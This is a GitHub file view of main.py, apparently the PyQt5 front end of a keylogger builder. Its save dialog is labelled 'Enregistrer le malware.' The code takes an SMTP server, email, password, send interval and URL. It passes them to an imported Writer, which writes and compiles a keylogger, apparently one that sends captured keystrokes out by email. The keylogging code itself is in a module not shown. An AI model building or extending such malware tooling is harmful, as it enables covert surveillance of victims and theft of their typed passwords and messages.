-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
73 lines (59 loc) · 2.16 KB
/
main.py
File metadata and controls
73 lines (59 loc) · 2.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import sys
import pathlib
from modules.write_keylog import Writer
from PyQt5.QtCore import Qt
from PyQt5.uic import loadUi
from PyQt5.QtWidgets import QMainWindow, qApp, QFileDialog, QVBoxLayout, QLabel
from PyQt5.QtWidgets import QApplication, QStackedWidget, QGraphicsDropShadowEffect, QMessageBox
from PyQt5.QtGui import QColor
class Main(QMainWindow):
def __init__(self):
super().__init__()
loadUi('ressources/main.ui', self)
self.etat = 0
self.exitButton.clicked.connect(qApp.quit)
self.minimizeButton.clicked.connect(widget.showMinimized)
self.maximizeButton.clicked.connect(self.maximizeominimize)
self.validButton.clicked.connect(self.createKeylog)
self.shadow = QGraphicsDropShadowEffect()
self.shadow.setBlurRadius(45)
self.shadow.setColor(QColor("#3585f7"))
self.shadow.setXOffset(0)
self.shadow.setYOffset(0)
self.validButton.setGraphicsEffect(self.shadow)
def maximizeominimize(self):
if self.etat == 0:
widget.showMaximized()
self.etat = 1
else:
widget.showNormal()
self.etat = 0
def createKeylog(self):
home_dir = str(pathlib.Path.home())
fname = QFileDialog.getSaveFileName(self, 'Enregistrer le malware.', home_dir)
print(fname[0])
email = self.emailInput.text()
interval = int(self.intervalInput.text())
password = self.passwordInput.text()
smtp = self.smtpInput.text()
url = self.urlInput.text()
writer = Writer(
smtp_addr=smtp,
interval=interval,
email=email,
password=password,
url=url,
path=fname[0]
)
writer.write_keylogger()
writer.compile_keylog()
if __name__ == "__main__":
app = QApplication(sys.argv)
widget = QStackedWidget()
main = Main()
widget.setWindowFlag(Qt.FramelessWindowHint)
widget.setAttribute(Qt.WA_TranslucentBackground)
widget.addWidget(main)
widget.resize(900, 700)
widget.show()
sys.exit(app.exec())